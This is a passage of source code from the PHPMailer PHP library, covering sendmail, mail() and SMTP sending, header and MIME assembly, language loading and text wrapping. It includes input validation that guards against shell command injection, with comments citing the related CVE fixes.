$this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader($this->Subject)) ); } //Sign with DKIM if enabled if ( !empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message via the selected mechanism. * * @throws Exception * * @return bool */ public function postSend() { try { //Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (!empty($this->Mailer) && method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) { $this->smtp->reset(); } if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * * @see PHPMailer::$Sendmail * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html //Example problem: https://www.drupal.org/node/1057954 //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } $sendmailArgs = []; // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. // Also don't add the -f automatically unless it has been set either via Sender // or sendmail_path. Otherwise, it can introduce new problems. // @see http://github.com/PHPMailer/PHPMailer/issues/2298 if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { $sendmailArgs[] = '-f' . $this->Sender; } // Qmail doesn't accept all the sendmail parameters // @see https://github.com/PHPMailer/PHPMailer/issues/3189 if ($this->Mailer !== 'qmail') { $sendmailArgs[] = '-i'; $sendmailArgs[] = '-t'; } $resultArgs = (empty($sendmailArgs) ? '' : ' ' . implode(' ', $sendmailArgs)); $sendmail = trim(escapeshellcmd($this->Sendmail) . $resultArgs); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr, null, $this->CharSet); foreach ($addrinfo as $addr) { $this->doCallback( ($result === 0), [[$addr['address'], $addr['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $this->doCallback( ($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * * @param string $string The string to be validated * * @return bool */ protected static function isShellSafe($string) { //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg, //but some hosting providers disable it, creating a security problem that we don't want to have to deal with, //so we don't. if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) { return false; } if ( escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; //All other characters have a special meaning in at least one common shell, including = and +. //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. //Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function isPermittedPath($path) { //Matches scheme definition from https://www.rfc-editor.org/rfc/rfc3986#section-3.1 return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } /** * Check whether a file path is safe, accessible, and readable. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = is_file($path); //If not a UNC path (expected to start with \\), check read permission, see #2069 if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } /** * Send mail using the PHP mail() function. * * @see https://www.php.net/manual/en/book.mail.php * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = trim(implode(', ', $toArr)); //If there are no To-addresses (e.g. when sending only to BCC-addresses) //the following should be added to get a correct DKIM-signature. //Compare with $this->preSend() if ($to === '') { $to = 'undisclosed-recipients:;'; } $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html //Example problem: https://www.drupal.org/node/1057954 //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { $phpmailer_path = ini_get('sendmail_path'); if (self::isShellSafe($this->Sender) && strpos($phpmailer_path, ' -f') === false) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr, null, $this->CharSet); foreach ($addrinfo as $addr) { $this->doCallback( $result, [[$addr['address'], $addr['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception(self::lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation, * or set one with setSMTPInstance. * * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } /** * Provide an instance to use for SMTP operations. * * @return SMTP */ public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } /** * Provide SMTP XCLIENT attributes * * @param string $name Attribute name * @param ?string $value Attribute value * * @return bool */ public function setSMTPXclientAttribute($name, $value) { if (!in_array($name, SMTP::$xclient_allowed_attributes)) { return false; } if (isset($this->SMTPXClient[$name]) && $value === null) { unset($this->SMTPXClient[$name]); } elseif ($value !== null) { $this->SMTPXClient[$name] = $value; } return true; } /** * Get SMTP XCLIENT attributes * * @return array */ public function getSMTPXclientAttributes() { return $this->SMTPXClient; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * * @see PHPMailer::setSMTPInstance() to use a different class. * * @uses \PHPMailer\PHPMailer\SMTP * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception(self::lang('smtp_connect_failed'), self::STOP_CRITICAL); } //If we have recipient addresses that need Unicode support, //but the server doesn't support it, stop here if ($this->UseSMTPUTF8 && !$this->smtp->getServerExt('SMTPUTF8')) { throw new Exception(self::lang('no_smtputf8'), self::STOP_CRITICAL); } //Sender already validated in preSend() if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (count($this->SMTPXClient)) { $this->smtp->xclient($this->SMTPXClient); } if (!$this->smtp->mail($smtp_from)) { $this->setError(self::lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; //Attempt to send to all recipients foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } //Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception(self::lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback( $cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id] ); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception(self::lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * * @param array $options An array of options compatible with stream_context_create() * * @throws Exception * * @uses \PHPMailer\PHPMailer\SMTP * * @return bool */ public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (null === $options) { $options = $this->SMTPOptions; } //Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $this->smtp->setSMTPUTF8($this->UseSMTPUTF8); if ($this->Host === null) { $this->Host = 'localhost'; } $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if ( !preg_match( '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo ) ) { $this->edebug(self::lang('invalid_hostentry') . ' ' . trim($hostentry)); //Not a valid host entry continue; } //$hostinfo[1]: optional ssl or tls prefix //$hostinfo[2]: the hostname //$hostinfo[3]: optional port number //The host string prefix can temporarily override the current setting for SMTPSecure //If it's not specified, the default value is used //Check the host name is a valid name or IP address before trying to use it if (!static::isValidHost($hostinfo[2])) { $this->edebug(self::lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at the same time $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; //TLS doesn't use a prefix $secure = static::ENCRYPTION_STARTTLS; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new Exception(self::lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if ( array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536 ) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: //* it's not disabled //* we are not connecting to localhost //* we have openssl extension //* we are not already using SSL //* the server offers STARTTLS if ( $this->SMTPAutoTLS && $this->Host !== 'localhost' && $sslext && $secure !== 'ssl' && $this->smtp->getServerExt('STARTTLS') ) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } //We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ( $this->SMTPAuth && !$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->oauth ) ) { throw new Exception(self::lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions && null !== $lastexception) { throw $lastexception; } if ($this->exceptions) { // no exception was thrown, likely $this->smtp->connect() failed $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } return false; } /** * Close the active SMTP session if one exists. */ public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } /** * Set the language for error messages. * The default language is English. * * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * Optionally, the language code can be enhanced with a 4-character * script annotation and/or a 2-character country annotation. * @param string $lang_path Path to the language file directory, with trailing separator (slash) * Do not set this from user input! * * @return bool Returns true if the requested language was loaded, false otherwise. */ public static function setLanguage($langcode = 'en', $lang_path = '') { //Backwards compatibility for renamed language codes $renamed_langcodes = [ 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy', ]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } //Define full set of translatable strings in English $PHPMAILER_LANG = [ 'authenticate' => 'SMTP Error: Could not authenticate.', 'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to macOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'extension_missing' => 'Extension missing: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_header' => 'Invalid header name or value', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_code' => 'SMTP code: ', 'smtp_code_ex' => 'Additional SMTP info: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_detail' => 'Detail: ', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'no_smtputf8' => 'Server does not support SMTPUTF8 needed to send to Unicode addresses', 'imap_recommended' => 'Using simplified address parser is not recommended. ' . 'Install the PHP IMAP extension for full RFC822 parsing.', 'deprecated_argument' => 'Deprecated Argument: ', ]; if (empty($lang_path)) { //Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } //Validate $langcode $foundlang = true; $langcode = strtolower($langcode); if ( !preg_match('/^(?P<lang>[a-z]{2})(?P<script>_[a-z]{4})?(?P<country>_[a-z]{2})?$/', $langcode, $matches) && $langcode !== 'en' ) { $foundlang = false; $langcode = 'en'; } //There is no English translation file if ('en' !== $langcode) { $langcodes = []; if (!empty($matches['script']) && !empty($matches['country'])) { $langcodes[] = $matches['lang'] . $matches['script'] . $matches['country']; } if (!empty($matches['country'])) { $langcodes[] = $matches['lang'] . $matches['country']; } if (!empty($matches['script'])) { $langcodes[] = $matches['lang'] . $matches['script']; } $langcodes[] = $matches['lang']; //Try and find a readable language file for the requested language. $foundFile = false; foreach ($langcodes as $code) { $lang_file = $lang_path . 'phpmailer.lang-' . $code . '.php'; if (static::fileIsAccessible($lang_file)) { $foundFile = true; break; } } if ($foundFile === false) { $foundlang = false; } else { $lines = file($lang_file); foreach ($lines as $line) { //Translation file lines look like this: //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.'; //These files are parsed as text and not PHP so as to avoid the possibility of code injection //See https://blog.stevenlevithan.com/archives/match-quoted-string $matches = []; if ( preg_match( '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/', $line, $matches ) && //Ignore unknown translation keys array_key_exists($matches[1], $PHPMAILER_LANG) ) { //Overwrite language-specific strings so we'll never have missing translation keys. $PHPMAILER_LANG[$matches[1]] = (string)$matches[3]; } } } } self::$language = $PHPMAILER_LANG; return $foundlang; //Returns false if language not found } /** * Get the array of strings for the current language. * * @return array */ public function getTranslations() { if (empty(self::$language)) { self::setLanguage(); // Set the default language. } return self::$language; } /** * Create recipient headers. * * @param string $type * @param array $addr An array of recipients, * where each recipient is a 2-element indexed array with element 0 containing an address * and element 1 containing a name, like: * [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']] * * @return string */ public function addrAppend($type, $addr) { $addresses = []; foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ': ' . implode(', ', $addresses) . static::$LE; } /** * Format an address for use in a message header. * * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like * ['joe@example.com', 'Joe User'] * * @return string */ public function addrFormat($addr) { if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided return $this->secureHeader($addr[0]); } return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>'; } /** * Word-wrap message. * For use with mailers that do not automatically perform wrapping * and for quoted-printable encoded messages. * Original written by philippe. * * @param string $message The message to wrap * @param int $length The line length to wrap to * @param bool $qp_mode Whether to run in Quoted-Printable mode * * @return string */ public function wrapText($message, $length, $qp_mode = false) { if ($qp_mode) { $soft_break = sprintf(' =%s', static::$LE); } else { $soft_break = static::$LE; } //If utf-8 encoding is used, we will need to make sure we don't //split multibyte characters when we wrap $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet); $lelen = strlen(static::$LE); $crlflen = strlen(static::$LE); $message = static::normalizeBreaks($message); //Remove a trailing line break if (substr($message, -$lelen) === static::$LE) { $message = substr($message, 0, -$lelen); } //Split message into lines $lines = explode(static::$LE, $message); //Message will be rebuilt in here $message = ''; foreach ($lines as $line) { $words = explode(' ', $line); $buf = ''; $firstword = true; foreach ($words as $word) { if ($qp_mode && (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if (!$firstword) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', static::$LE); } else { $message .= $buf . $soft_break; } $buf = ''; } while ($word !== '') { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif ('=' === substr($word, $len - 1, 1)) { --$len; } elseif ('=' === substr($word, $len - 2, 1)) { $len -= 2; } $part = substr($word, 0, $len); $word = (string) substr($word, $len); if ($word !== '') { $message .= $part . sprintf('=%s', static::$LE); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= ' '; } $buf .= $word; if ('' !== $buf_o && strlen($buf) > $length) { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . static::$LE; } return $message; } /** * Find the last character boundary prior to $maxLength in a utf-8 * quoted-printable encoded string. * Original written by Colin Brown. * * @param string $encodedText utf-8 QP text * @param int $maxLength Find the last character boundary prior to this length * * @return int */ public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { //Found start of encoded character byte within $lookBack block. //Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { //Single byte character. //If the encoded char was found at pos 0, it will fit //otherwise reduce maxLength to start of the encoded char if ($encodedCharPos > 0) { $maxLength -= $lookBack - $encodedCharPos; } $foundSplitPos = true; } elseif ($dec >= 192) { //First byte of a multi byte character //Reduce maxLength to split at start of character $maxLength -= $lookBack - $encodedCharPos; $foundSplitPos = true; } elseif ($dec < 192) { //Middle byte of a multi byte character, look further back $lookBack += 3; } } else { //No encoded character found $foundSplitPos = true; } } return $maxLength; } /** * Apply word wrapping to the message body. * Wraps the message body to the number of chars set in the WordWrap property. * You should only do this to plain-text bodies as wrapping HTML tags may break them. * This is called automatically by createBody(), so you don't need to call it yourself. */ public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } /** * Assemble message headers. * * @return string The assembled headers */ public function createHeader() { $result = ''; $result .= $this->headerLine( 'Date', self::sanitiseDate($this->MessageDate) ); //The To header is created automatically by mail(), so needs to be omitted here if ('mail' !== $this->Mailer) { if ($this->SingleTo) { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } elseif (count($this->to) > 0) { $result .= $this->addrAppend('To', $this->to); } elseif (count($this->cc) === 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;'); } } $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]); //sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc); } //sendmail and mail() extract Bcc from the header before sending if ( ( 'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer ) && count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo); } //mail() sets the subject itself if ('mail' !== $this->Mailer) { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 //https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4 if ( '' !== $this->MessageID && preg_match( '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' . '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' . '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' . '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' . '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di', $this->MessageID ) ) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine('Message-ID', $this->lastMessageID); if (null !== $this->Priority) { $result .= $this->headerLine('X-Priority', $this->Priority); } if ('' === $this->XMailer) { //Empty string for default X-Mailer header $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)' ); } elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') { //Some string $result .= $this->headerLine('X-Mailer', $this->secureHeader(trim($this->XMailer))); } //Other values result in no X-Mailer header if ('' !== $this->ConfirmReadingTo) { $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); } //Add custom headers foreach ($this->CustomHeader as $header) { $result .= $this->headerLine( trim($header[0]), $this->encodeHeader(trim($header[1])) ); } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0'); $result .= $this->getMailMIME(); } return $result; } /** * Get the message MIME type headers. * * @return string */ public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; default: //Catches case 'plain': and case '': $result .= $this->textLine( 'Content-Type: ' . $this->secureHeader($this->ContentType) . '; charset=' . $this->secureHeader($this->CharSet) ); $ismultipart = false; break; } if (!$this->validateEncoding($this->Encoding)) { throw new Exception(self::lang('encoding') . $this->Encoding); } //RFC1341 part 5 says 7bit is assumed if not specified if (static::ENCODING_7BIT !== $this->Encoding) { //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit, or binary CTE if ($ismultipart) { if (static::ENCODING_8BIT === $this->Encoding) { $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT); } //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } return $result; } /** * Returns the whole MIME message. * Includes complete headers and body. * Only valid post preSend(). * * @see PHPMailer::preSend() * * @return string */ public function getSentMIMEMessage() { return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) . static::$LE . static::$LE . $this->MIMEBody; } /** * Create a unique ID to use for boundaries. * * @return string */ protected function generateId() { $len = 32; //32 bytes = 256 bits $bytes = ''; if (function_exists('random_bytes')) { try { // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.random_bytesFound -- Wrapped in function_exists. $bytes = random_bytes($len); } catch (\Exception $e) { //Do nothing } } elseif (function_exists('openssl_random_pseudo_bytes')) { /** @noinspection CryptographicallySecureRandomnessInspection */ $bytes = openssl_random_pseudo_bytes($len); } if ($bytes === '') { //We failed to produce a proper random string, so make do. //Use a hash to force the length to the same as the other methods $bytes = hash('sha256', uniqid((string) mt_rand(), true), true); } //We don't care about messing up base64 format here, just want a random string return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true))); } /** * Assemble the message body. * Returns an empty string on failure. * * @throws Exception * * @return string The assembled message body */ public function createBody() { $body = ''; //Create unique IDs and preset boundaries $this->setBoundaries(); $this->setWordWrap(); if (!$this->validateEncoding($this->Encoding)) { throw new Exception(self::lang('encoding') . $this->Encoding); } $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; //Can we do a 7-bit downgrade? if ($this->UseSMTPUTF8) { $bodyEncoding = static::ENCODING_8BIT; } elseif (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) { $bodyEncoding = 